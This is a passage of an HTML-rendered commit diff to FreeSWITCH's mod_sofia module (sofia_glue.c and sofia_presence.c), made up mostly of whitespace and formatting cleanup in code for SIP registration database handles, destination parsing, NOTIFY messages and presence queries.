</span><span class="cx">                 switch_core_db_exec(db, &quot;create index if not exists sr_sip_user on sip_registrations (sip_user)&quot;, NULL, NULL, NULL);
</span><span class="cx">                 switch_core_db_exec(db, &quot;create index if not exists sr_sip_host on sip_registrations (sip_host)&quot;, NULL, NULL, NULL);
</span><span class="lines">@@ -4217,7 +4646,7 @@
</span><span class="cx">                 return 1;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        return 0;        
</del><ins>+        return 0;
</ins><span class="cx"> 
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -4267,19 +4696,22 @@
</span><span class="cx"> 
</span><span class="cx"> switch_cache_db_handle_t *sofia_glue_get_db_handle(sofia_profile_t *profile)
</span><span class="cx"> {
</span><del>-        switch_cache_db_connection_options_t options = { {0} };
</del><ins>+        switch_cache_db_connection_options_t options = { {0}
+        };
</ins><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(profile-&gt;odbc_dsn)) {
</span><span class="cx">                 options.odbc_options.dsn = profile-&gt;odbc_dsn;
</span><span class="cx">                 options.odbc_options.user = profile-&gt;odbc_user;
</span><span class="cx">                 options.odbc_options.pass = profile-&gt;odbc_pass;
</span><span class="cx"> 
</span><del>-                if (switch_cache_db_get_db_handle(&amp;dbh, SCDB_TYPE_ODBC, &amp;options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
</del><ins>+                if (switch_cache_db_get_db_handle(&amp;dbh, SCDB_TYPE_ODBC, &amp;options) != SWITCH_STATUS_SUCCESS)
+                        dbh = NULL;
</ins><span class="cx">                 return dbh;
</span><span class="cx">         } else {
</span><span class="cx">                 options.core_db_options.db_path = profile-&gt;dbname;
</span><del>-                if (switch_cache_db_get_db_handle(&amp;dbh, SCDB_TYPE_CORE_DB, &amp;options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
</del><ins>+                if (switch_cache_db_get_db_handle(&amp;dbh, SCDB_TYPE_CORE_DB, &amp;options) != SWITCH_STATUS_SUCCESS)
+                        dbh = NULL;
</ins><span class="cx">                 return dbh;
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="lines">@@ -4300,7 +4732,7 @@
</span><span class="cx">         switch_cache_db_persistant_execute_trans(dbh, sql, 1);
</span><span class="cx"> 
</span><span class="cx">   end:
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_cache_db_release_db_handle(&amp;dbh);
</span><span class="cx"> 
</span><span class="cx">         if (mutex) {
</span><span class="lines">@@ -4324,7 +4756,7 @@
</span><span class="cx">         switch_cache_db_execute_sql(dbh, sql, NULL);
</span><span class="cx"> 
</span><span class="cx">   end:
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_cache_db_release_db_handle(&amp;dbh);
</span><span class="cx"> 
</span><span class="cx">         if (mutex) {
</span><span class="lines">@@ -4338,16 +4770,16 @@
</span><span class="cx">         switch_bool_t ret = SWITCH_FALSE;
</span><span class="cx">         char *errmsg = NULL;
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (mutex) {
</span><span class="cx">                 switch_mutex_lock(mutex);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (!(dbh = sofia_glue_get_db_handle(profile))) {
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error Opening DB\n&quot;);
-        goto end;
-    }
-        
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error Opening DB\n&quot;);
+                goto end;
+        }
+
</ins><span class="cx">         switch_cache_db_execute_sql_callback(dbh, sql, callback, pdata, &amp;errmsg);
</span><span class="cx"> 
</span><span class="cx">         if (errmsg) {
</span><span class="lines">@@ -4373,16 +4805,16 @@
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><span class="cx"> 
</span><span class="cx">         if (!(dbh = sofia_glue_get_db_handle(profile))) {
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error Opening DB\n&quot;);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error Opening DB\n&quot;);
</ins><span class="cx">                 return NULL;
</span><del>-    }
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         if (mutex) {
</span><span class="cx">                 switch_mutex_lock(mutex);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         ret = switch_cache_db_execute_sql2str(dbh, sql, resbuf, len, NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (mutex) {
</span><span class="cx">                 switch_mutex_unlock(mutex);
</span><span class="cx">         }
</span><span class="lines">@@ -4440,7 +4872,7 @@
</span><span class="cx">         char *p;
</span><span class="cx"> 
</span><span class="cx">         if ((p = strchr(uri, ':'))) {
</span><del>-                return p+1;
</del><ins>+                return p + 1;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         return uri;
</span><span class="lines">@@ -4457,19 +4889,19 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         return CID_TYPE_NONE;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /* all the values of the structure are initialized to NULL  */
</span><span class="cx"> /* in case of failure the function returns NULL */
</span><span class="cx"> /* sofia_destination-&gt;route can be NULL */
</span><del>-sofia_destination_t* sofia_glue_get_destination(char *data)
</del><ins>+sofia_destination_t *sofia_glue_get_destination(char *data)
</ins><span class="cx"> {
</span><span class="cx">         sofia_destination_t *dst = NULL;
</span><span class="cx">         char *to = NULL;
</span><span class="cx">         char *contact = NULL;
</span><del>-    char *route = NULL;
-    char *route_uri = NULL;
</del><ins>+        char *route = NULL;
+        char *route_uri = NULL;
</ins><span class="cx">         char *eoc = NULL;
</span><span class="cx">         char *p = NULL;
</span><span class="cx"> 
</span><span class="lines">@@ -4477,7 +4909,7 @@
</span><span class="cx">                 return NULL;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (!(dst = (sofia_destination_t *)malloc(sizeof(sofia_destination_t)))) {
</del><ins>+        if (!(dst = (sofia_destination_t *) malloc(sizeof(sofia_destination_t)))) {
</ins><span class="cx">                 return NULL;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -4493,7 +4925,7 @@
</span><span class="cx">                         goto mem_fail;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                for (p = route; p &amp;&amp; *p ; p++) {
</del><ins>+                for (p = route; p &amp;&amp; *p; p++) {
</ins><span class="cx">                         if (*p == '&gt;' || *p == ';') {
</span><span class="cx">                                 *p = '\0';
</span><span class="cx">                                 break;
</span><span class="lines">@@ -4502,7 +4934,7 @@
</span><span class="cx"> 
</span><span class="cx">                 switch_url_decode(route);
</span><span class="cx"> 
</span><del>-                 if (!(route_uri = strdup(route))) {
</del><ins>+                if (!(route_uri = strdup(route))) {
</ins><span class="cx">                         goto mem_fail;
</span><span class="cx">                 }
</span><span class="cx">                 if ((p = strchr(route_uri, ','))) {
</span><span class="lines">@@ -4510,28 +4942,28 @@
</span><span class="cx">                                 *p = '\0';
</span><span class="cx">                         } while ((--p &gt; route_uri) &amp;&amp; *p == ' ');
</span><span class="cx">                 }
</span><del>-        } 
-        
</del><ins>+        }
+
</ins><span class="cx">         if (!(to = strdup(data))) {
</span><span class="cx">                 goto mem_fail;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if ((eoc = strstr(to, &quot;;fs_path=&quot;))) {
</span><del>-                *eoc++ = '&gt;';        
-                *eoc = '\0';        
</del><ins>+                *eoc++ = '&gt;';
+                *eoc = '\0';
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((p = strstr(contact, &quot;;fs_&quot;))) {
</span><span class="cx">                 *p = '\0';
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         dst-&gt;contact = contact;
</span><span class="cx">         dst-&gt;to = to;
</span><span class="cx">         dst-&gt;route = route;
</span><span class="cx">         dst-&gt;route_uri = route_uri;
</span><span class="cx">         return dst;
</span><span class="cx"> 
</span><del>-mem_fail:
</del><ins>+  mem_fail:
</ins><span class="cx">         switch_safe_free(contact);
</span><span class="cx">         switch_safe_free(to);
</span><span class="cx">         switch_safe_free(route);
</span><span class="lines">@@ -4551,7 +4983,8 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-switch_status_t sofia_glue_send_notify(sofia_profile_t *profile, const char *user, const char *host, const char *event, const char *contenttype, const char *body, const char *o_contact, const char *network_ip)
</del><ins>+switch_status_t sofia_glue_send_notify(sofia_profile_t *profile, const char *user, const char *host, const char *event, const char *contenttype,
+                                                                           const char *body, const char *o_contact, const char *network_ip)
</ins><span class="cx"> {
</span><span class="cx">         char *id = NULL;
</span><span class="cx">         nua_handle_t *nh;
</span><span class="lines">@@ -4559,7 +4992,7 @@
</span><span class="cx">         char *contact_str, *contact, *user_via = NULL;
</span><span class="cx">         char *route_uri = NULL;
</span><span class="cx"> 
</span><del>-        contact = sofia_glue_get_url_from_contact((char*) o_contact, 1);
</del><ins>+        contact = sofia_glue_get_url_from_contact((char *) o_contact, 1);
</ins><span class="cx">         if (sofia_glue_check_nat(profile, network_ip)) {
</span><span class="cx">                 char *ptr = NULL;
</span><span class="cx">                 const char *transport_str = NULL;
</span><span class="lines">@@ -4572,15 +5005,15 @@
</span><span class="cx">                         sofia_transport_t transport = sofia_glue_str2transport(ptr);
</span><span class="cx">                         transport_str = sofia_glue_transport2str(transport);
</span><span class="cx">                         switch (transport) {
</span><del>-                                case SOFIA_TRANSPORT_TCP:
-                                        contact_str = profile-&gt;tcp_public_contact;
-                                        break;
-                                case SOFIA_TRANSPORT_TCP_TLS:
-                                        contact_str = profile-&gt;tls_public_contact;
-                                        break;
-                                default:
-                                        contact_str = profile-&gt;public_url;
-                                        break;
</del><ins>+                        case SOFIA_TRANSPORT_TCP:
+                                contact_str = profile-&gt;tcp_public_contact;
+                                break;
+                        case SOFIA_TRANSPORT_TCP_TLS:
+                                contact_str = profile-&gt;tls_public_contact;
+                                break;
+                        default:
+                                contact_str = profile-&gt;public_url;
+                                break;
</ins><span class="cx">                         }
</span><span class="cx">                         user_via = sofia_glue_create_external_via(NULL, profile, transport);
</span><span class="cx">                 } else {
</span><span class="lines">@@ -4593,16 +5026,14 @@
</span><span class="cx">                 id = switch_mprintf(&quot;sip:%s@%s&quot;, user, host);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        dst = sofia_glue_get_destination((char*) o_contact);
</del><ins>+        dst = sofia_glue_get_destination((char *) o_contact);
</ins><span class="cx">         switch_assert(dst);
</span><span class="cx"> 
</span><span class="cx">         if (dst-&gt;route_uri) {
</span><span class="cx">                 route_uri = sofia_glue_strip_uri(dst-&gt;route_uri);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        nh = nua_handle(profile-&gt;nua, NULL, NUTAG_URL(contact),
-                        SIPTAG_FROM_STR(id), SIPTAG_TO_STR(id),
-                        SIPTAG_CONTACT_STR(contact_str), TAG_END());
</del><ins>+        nh = nua_handle(profile-&gt;nua, NULL, NUTAG_URL(contact), SIPTAG_FROM_STR(id), SIPTAG_TO_STR(id), SIPTAG_CONTACT_STR(contact_str), TAG_END());
</ins><span class="cx">         nua_handle_bind(nh, &amp;mod_sofia_globals.destroy_private);
</span><span class="cx"> 
</span><span class="cx">         nua_notify(nh,
</span><span class="lines">@@ -4610,9 +5041,7 @@
</span><span class="cx">                            TAG_IF(dst-&gt;route_uri, NUTAG_PROXY(route_uri)), TAG_IF(dst-&gt;route, SIPTAG_ROUTE_STR(dst-&gt;route)),
</span><span class="cx">                            TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
</span><span class="cx">                            TAG_IF(event, SIPTAG_EVENT_STR(event)),
</span><del>-                           TAG_IF(contenttype, SIPTAG_CONTENT_TYPE_STR(contenttype)),
-                           TAG_IF(body, SIPTAG_PAYLOAD_STR(body)), 
-                           TAG_END());
</del><ins>+                           TAG_IF(contenttype, SIPTAG_CONTENT_TYPE_STR(contenttype)), TAG_IF(body, SIPTAG_PAYLOAD_STR(body)), TAG_END());
</ins><span class="cx"> 
</span><span class="cx">         switch_safe_free(contact);
</span><span class="cx">         switch_safe_free(route_uri);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_sofiasofia_presencec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_presence.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_presence.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_presence.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -97,11 +97,12 @@
</span><span class="cx">         } else {
</span><span class="cx">                 user = prof;
</span><span class="cx">                 prof = NULL;
</span><del>-        }  
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         if ((host = strchr(user, '@'))) {
</span><span class="cx">                 *host++ = '\0';
</span><del>-                if (!prof) prof = host;
</del><ins>+                if (!prof)
+                        prof = host;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (!prof || !(profile = sofia_glue_find_profile(prof))) {
</span><span class="lines">@@ -150,7 +151,7 @@
</span><span class="cx">                 from = ffrom;
</span><span class="cx">                 switch_safe_free(fp);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(dst = sofia_glue_get_destination(buf))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Memory Error!\n&quot;);
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -161,14 +162,12 @@
</span><span class="cx">         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         /* if this cries, add contact here too, change the 1 to 0 and omit the safe_free */
</span><span class="cx">         msg_nh = nua_handle(profile-&gt;nua, NULL, TAG_IF(dst-&gt;route_uri, NUTAG_PROXY(dst-&gt;route_uri)), TAG_IF(dst-&gt;route, SIPTAG_ROUTE_STR(dst-&gt;route)),
</span><del>-                                                SIPTAG_FROM_STR(from), NUTAG_URL(contact),
-                                                SIPTAG_TO_STR(dst-&gt;to), SIPTAG_CONTACT_STR(profile-&gt;url),
-                                                TAG_END());
</del><ins>+                                                SIPTAG_FROM_STR(from), NUTAG_URL(contact), SIPTAG_TO_STR(dst-&gt;to), SIPTAG_CONTACT_STR(profile-&gt;url), TAG_END());
</ins><span class="cx">         nua_handle_bind(msg_nh, &amp;mod_sofia_globals.destroy_private);
</span><span class="cx">         nua_message(msg_nh, SIPTAG_CONTENT_TYPE_STR(ct), SIPTAG_PAYLOAD_STR(body), TAG_END());
</span><del>-        
-        
- end:
</del><ins>+
+
+  end:
</ins><span class="cx">         sofia_glue_free_destination(dst);
</span><span class="cx">         switch_safe_free(contact);
</span><span class="cx">         switch_safe_free(ffrom);
</span><span class="lines">@@ -190,11 +189,10 @@
</span><span class="cx"> 
</span><span class="cx">         if (!mod_sofia_globals.profile_hash)
</span><span class="cx">                 return;
</span><del>-        
-        if ((sql = switch_mprintf(
-                                                          &quot;select proto,sip_user,sip_host,sub_to_user,sub_to_host,event,contact,call_id,full_from,&quot;
</del><ins>+
+        if ((sql = switch_mprintf(&quot;select proto,sip_user,sip_host,sub_to_user,sub_to_host,event,contact,call_id,full_from,&quot;
</ins><span class="cx">                                                           &quot;full_via,expires,user_agent,accept,profile_name,network_ip&quot;
</span><del>-                                                          &quot;,-1,'unavailable','unavailable' from sip_subscriptions where expires &gt; -1 and event='presence' and hostname='%q'&quot;, 
</del><ins>+                                                          &quot;,-1,'unavailable','unavailable' from sip_subscriptions where expires &gt; -1 and event='presence' and hostname='%q'&quot;,
</ins><span class="cx">                                                           mod_sofia_globals.hostname))) {
</span><span class="cx">                 switch_mutex_lock(mod_sofia_globals.hash_mutex);
</span><span class="cx">                 for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="lines">@@ -218,7 +216,7 @@
</span><span class="cx"> {
</span><span class="cx">         struct resub_helper h = { 0 };
</span><span class="cx">         h.profile = profile;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (sofia_glue_execute_sql_callback(profile, profile-&gt;ireg_mutex,
</span><span class="cx">                                                                                 &quot;select sip_user,sip_host,'Registered','unknown','' from sip_registrations&quot;,
</span><span class="cx">                                                                                 sofia_presence_resub_callback, &amp;h) != SWITCH_TRUE) {
</span><span class="lines">@@ -227,7 +225,7 @@
</span><span class="cx"> 
</span><span class="cx">         if (sofia_glue_execute_sql_callback(profile, profile-&gt;ireg_mutex,
</span><span class="cx">                                                                                 &quot;select sub_to_user,sub_to_host,'Online','unknown',proto from sip_subscriptions &quot;
</span><del>-                                                                                &quot;where expires &gt; -1 and proto='ext' or proto='user' or proto='conf'&quot;, 
</del><ins>+                                                                                &quot;where expires &gt; -1 and proto='ext' or proto='user' or proto='conf'&quot;,
</ins><span class="cx">                                                                                 sofia_presence_resub_callback, &amp;h) != SWITCH_TRUE) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="lines">@@ -336,15 +334,14 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         stream.write_function(&amp;stream, &quot;\r\n&quot;);
</span><del>-        
</del><ins>+
</ins><span class="cx">         sql = NULL;
</span><span class="cx"> 
</span><span class="cx">         if (for_everyone) {
</span><span class="cx">                 sql = switch_mprintf(&quot;select proto,sip_user,sip_host,sub_to_user,sub_to_host,event,contact,call_id,full_from,&quot;
</span><span class="cx">                                                          &quot;full_via,expires,user_agent,accept,profile_name,network_ip&quot;
</span><span class="cx">                                                          &quot;,'%q','%q' from sip_subscriptions where expires &gt; -1 and event='message-summary' &quot;
</span><del>-                                                         &quot;and sub_to_user='%q' and (sub_to_host='%q' or presence_hosts like '%%%q%%')&quot;,
-                                                         stream.data, host, user, host, host);
</del><ins>+                                                         &quot;and sub_to_user='%q' and (sub_to_host='%q' or presence_hosts like '%%%q%%')&quot;, stream.data, host, user, host, host);
</ins><span class="cx">         } else if (sub_call_id) {
</span><span class="cx">                 sql = switch_mprintf(&quot;select proto,sip_user,sip_host,sub_to_user,sub_to_host,event,contact,call_id,full_from,&quot;
</span><span class="cx">                                                          &quot;full_via,expires,user_agent,accept,profile_name,network_ip&quot;
</span><span class="lines">@@ -358,17 +355,15 @@
</span><span class="cx">                 sofia_glue_execute_sql_callback(profile, profile-&gt;ireg_mutex, sql, sofia_presence_mwi_callback, &amp;h);
</span><span class="cx">                 free(sql);
</span><span class="cx">                 sql = NULL;
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (for_everyone) {
</span><span class="cx">                 sql = switch_mprintf(&quot;select sip_user,sip_host,contact,profile_name,network_ip,'%q' &quot;
</span><del>-                                                         &quot;from sip_registrations where mwi_user='%q' and mwi_host='%q'&quot;, 
-                                                         stream.data, user, host);
</del><ins>+                                                         &quot;from sip_registrations where mwi_user='%q' and mwi_host='%q'&quot;, stream.data, user, host);
</ins><span class="cx">         } else if (call_id) {
</span><span class="cx">                 sql = switch_mprintf(&quot;select sip_user,sip_host,contact,profile_name,network_ip,'%q' &quot;
</span><del>-                                                         &quot;from sip_registrations where mwi_user='%q' and mwi_host='%q' and call_id='%q'&quot;, 
-                                                         stream.data, user, host, call_id);
</del><ins>+                                                         &quot;from sip_registrations where mwi_user='%q' and mwi_host='%q' and call_id='%q'&quot;, stream.data, user, host, call_id);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (sql) {
</span><span class="lines">@@ -417,7 +412,7 @@
</span><span class="cx">         if (status &amp;&amp; !strcasecmp(status, &quot;n/a&quot;)) {
</span><span class="cx">                 status = NULL;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (status &amp;&amp; switch_stristr(&quot;CS_HANGUP&quot;, status)) {
</span><span class="cx">                 status = &quot;Call Ended&quot;;
</span><span class="cx">         }
</span><span class="lines">@@ -425,7 +420,7 @@
</span><span class="cx">         if (rpid) {
</span><span class="cx">                 rpid = sofia_presence_translate_rpid(rpid, status);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (event-&gt;event_id == SWITCH_EVENT_ROSTER) {
</span><span class="cx">                 struct presence_helper helper = { 0 };
</span><span class="cx"> 
</span><span class="lines">@@ -433,8 +428,7 @@
</span><span class="cx">                         return;
</span><span class="cx"> 
</span><span class="cx">                 if (from) {
</span><del>-                        sql = switch_mprintf(
-                                                                 &quot;select sip_subscriptions.proto,sip_subscriptions.sip_user,sip_subscriptions.sip_host,&quot;
</del><ins>+                        sql = switch_mprintf(&quot;select sip_subscriptions.proto,sip_subscriptions.sip_user,sip_subscriptions.sip_host,&quot;
</ins><span class="cx">                                                                  &quot;sip_subscriptions.sub_to_user,sip_subscriptions.sub_to_host,sip_subscriptions.event,&quot;
</span><span class="cx">                                                                  &quot;sip_subscriptions.contact,sip_subscriptions.call_id,sip_subscriptions.full_from,&quot;
</span><span class="cx">                                                                  &quot;sip_subscriptions.full_via,sip_subscriptions.expires,sip_subscriptions.user_agent,&quot;
</span><span class="lines">@@ -443,11 +437,10 @@
</span><span class="cx">                                                                  &quot;from sip_subscriptions left join sip_presence on &quot;
</span><span class="cx">                                                                  &quot;(sip_subscriptions.sub_to_user=sip_presence.sip_user and sip_subscriptions.sub_to_host=sip_presence.sip_host and &quot;
</span><span class="cx">                                                                  &quot;sip_subscriptions.profile_name=sip_presence.profile_name) &quot;
</span><del>-                                                                 &quot;where sip_subscriptions.expires &gt; -1 and sip_subscriptions.event='presence' and sip_subscriptions.full_from like '%%%q%%'&quot;, 
</del><ins>+                                                                 &quot;where sip_subscriptions.expires &gt; -1 and sip_subscriptions.event='presence' and sip_subscriptions.full_from like '%%%q%%'&quot;,
</ins><span class="cx">                                                                  switch_str_nil(status), switch_str_nil(rpid), from);
</span><span class="cx">                 } else {
</span><del>-                        sql = switch_mprintf(
-                                                                 &quot;select sip_subscriptions.proto,sip_subscriptions.sip_user,sip_subscriptions.sip_host,&quot;
</del><ins>+                        sql = switch_mprintf(&quot;select sip_subscriptions.proto,sip_subscriptions.sip_user,sip_subscriptions.sip_host,&quot;
</ins><span class="cx">                                                                  &quot;sip_subscriptions.sub_to_user,sip_subscriptions.sub_to_host,sip_subscriptions.event,&quot;
</span><span class="cx">                                                                  &quot;sip_subscriptions.contact,sip_subscriptions.call_id,sip_subscriptions.full_from,&quot;
</span><span class="cx">                                                                  &quot;sip_subscriptions.full_via,sip_subscriptions.expires,sip_subscriptions.user_agent,&quot;
</span><span class="lines">@@ -456,7 +449,8 @@
</span><span class="cx">                                                                  &quot;from sip_subscriptions left join sip_presence on &quot;
</span><span class="cx">                                                                  &quot;(sip_subscriptions.sub_to_user=sip_presence.sip_user and sip_subscriptions.sub_to_host=sip_presence.sip_host and &quot;
</span><span class="cx">                                                                  &quot;sip_subscriptions.profile_name=sip_presence.profile_name) &quot;
</span><del>-                                                                 &quot;where sip_subscriptions.expires &gt; -1 and sip_subscriptions.event='presence'&quot;, switch_str_nil(status), switch_str_nil(rpid));
</del><ins>+                                                                 &quot;where sip_subscriptions.expires &gt; -1 and sip_subscriptions.event='presence'&quot;, switch_str_nil(status),
+                                                                 switch_str_nil(rpid));
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 switch_assert(sql != NULL);
</span><span class="lines">@@ -465,7 +459,7 @@
</span><span class="cx">                         switch_hash_this(hi, &amp;var, NULL, &amp;val);
</span><span class="cx">                         profile = (sofia_profile_t *) val;
</span><span class="cx"> 
</span><del>-                        if (strcmp((char *)var, profile-&gt;name)) {
</del><ins>+                        if (strcmp((char *) var, profile-&gt;name)) {
</ins><span class="cx">                                 if (mod_sofia_globals.debug_presence &gt; 0) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;%s is an alias, skipping\n&quot;, (char *) var);
</span><span class="cx">                                 }
</span><span class="lines">@@ -544,11 +538,11 @@
</span><span class="cx">                                                                          &quot;(sip_registrations.sip_user=sip_presence.sip_user and sip_registrations.sip_host=sip_presence.sip_host and &quot;
</span><span class="cx">                                                                          &quot;sip_registrations.profile_name=sip_presence.profile_name) &quot;
</span><span class="cx">                                                                          &quot;where sip_registrations.sip_user='%q' and &quot;
</span><del>-                                                                         &quot;(sip_registrations.sip_host='%q' or sip_registrations.presence_hosts like '%%%q%%')&quot;, 
</del><ins>+                                                                         &quot;(sip_registrations.sip_host='%q' or sip_registrations.presence_hosts like '%%%q%%')&quot;,
</ins><span class="cx">                                                                          probe_host, probe_euser, probe_host, probe_host);
</span><span class="cx">                                 switch_assert(sql);
</span><span class="cx"> 
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (mod_sofia_globals.debug_presence &gt; 0) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;%s START_PRESENCE_PROBE_SQL\n&quot;, profile-&gt;name);
</span><span class="cx">                                 }
</span><span class="lines">@@ -574,8 +568,8 @@
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         if (!mod_sofia_globals.profile_hash)
</span><span class="cx">                 goto done;
</span><span class="cx"> 
</span><span class="lines">@@ -584,7 +578,7 @@
</span><span class="cx">                 switch_hash_this(hi, &amp;var, NULL, &amp;val);
</span><span class="cx">                 profile = (sofia_profile_t *) val;
</span><span class="cx"> 
</span><del>-                if (strcmp((char *)var, profile-&gt;name)) {
</del><ins>+                if (strcmp((char *) var, profile-&gt;name)) {
</ins><span class="cx">                         if (mod_sofia_globals.debug_presence &gt; 0) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;%s is an alias, skipping\n&quot;, (char *) var);
</span><span class="cx">                         }
</span><span class="lines">@@ -600,8 +594,8 @@
</span><span class="cx"> 
</span><span class="cx">                 if (call_info) {
</span><span class="cx">                         const char *uuid = switch_event_get_header(event, &quot;unique-id&quot;);
</span><del>-                        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx"> #if 0
</span><span class="cx">                         if (mod_sofia_globals.debug_sla &gt; 1) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;SLA EVENT:\n&quot;);
</span><span class="lines">@@ -611,58 +605,52 @@
</span><span class="cx"> 
</span><span class="cx">                         if (uuid) {
</span><span class="cx">                                 sql = switch_mprintf(&quot;update sip_dialogs set call_info_state='%q' where hostname='%q' and uuid='%q'&quot;,
</span><del>-                                                                         call_info_state, 
-                                                                         mod_sofia_globals.hostname,
-                                                                         uuid);
</del><ins>+                                                                         call_info_state, mod_sofia_globals.hostname, uuid);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 sql = switch_mprintf(&quot;update sip_dialogs set call_info_state='%q' where hostname='%q' and sip_dialogs.sip_from_user='%q' &quot;
</span><del>-                                                                         &quot;and sip_dialogs.sip_from_host='%q' and call_info='%q'&quot;, 
-                                                                         call_info_state, 
-                                                                         mod_sofia_globals.hostname,
-                                                                         euser, host, call_info);
-                                
</del><ins>+                                                                         &quot;and sip_dialogs.sip_from_host='%q' and call_info='%q'&quot;,
+                                                                         call_info_state, mod_sofia_globals.hostname, euser, host, call_info);
+
</ins><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         if (mod_sofia_globals.debug_sla &gt; 1) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;STATE SQL %s\n&quot;, sql);
</span><span class="cx">                         }
</span><span class="cx">                         sofia_glue_execute_sql_now(profile, &amp;sql, SWITCH_TRUE);
</span><del>-                        
</del><span class="cx"> 
</span><span class="cx"> 
</span><ins>+
</ins><span class="cx">                         if (mod_sofia_globals.debug_sla &gt; 1) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;PROCESS PRESENCE EVENT\n&quot;);
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         sync_sla(profile, euser, host, SWITCH_TRUE, SWITCH_TRUE);
</span><span class="cx">                 }
</span><del>-                
</del><span class="cx"> 
</span><del>-                if ((sql = switch_mprintf(
-                                                         
-                                                         &quot;select sip_subscriptions.proto,sip_subscriptions.sip_user,sip_subscriptions.sip_host,&quot;
-                                                         &quot;sip_subscriptions.sub_to_user,sip_subscriptions.sub_to_host,sip_subscriptions.event,&quot;
-                                                         &quot;sip_subscriptions.contact,sip_subscriptions.call_id,sip_subscriptions.full_from,&quot;
-                                                         &quot;sip_subscriptions.full_via,sip_subscriptions.expires,sip_subscriptions.user_agent,&quot;
-                                                         &quot;sip_subscriptions.accept,sip_subscriptions.profile_name&quot;
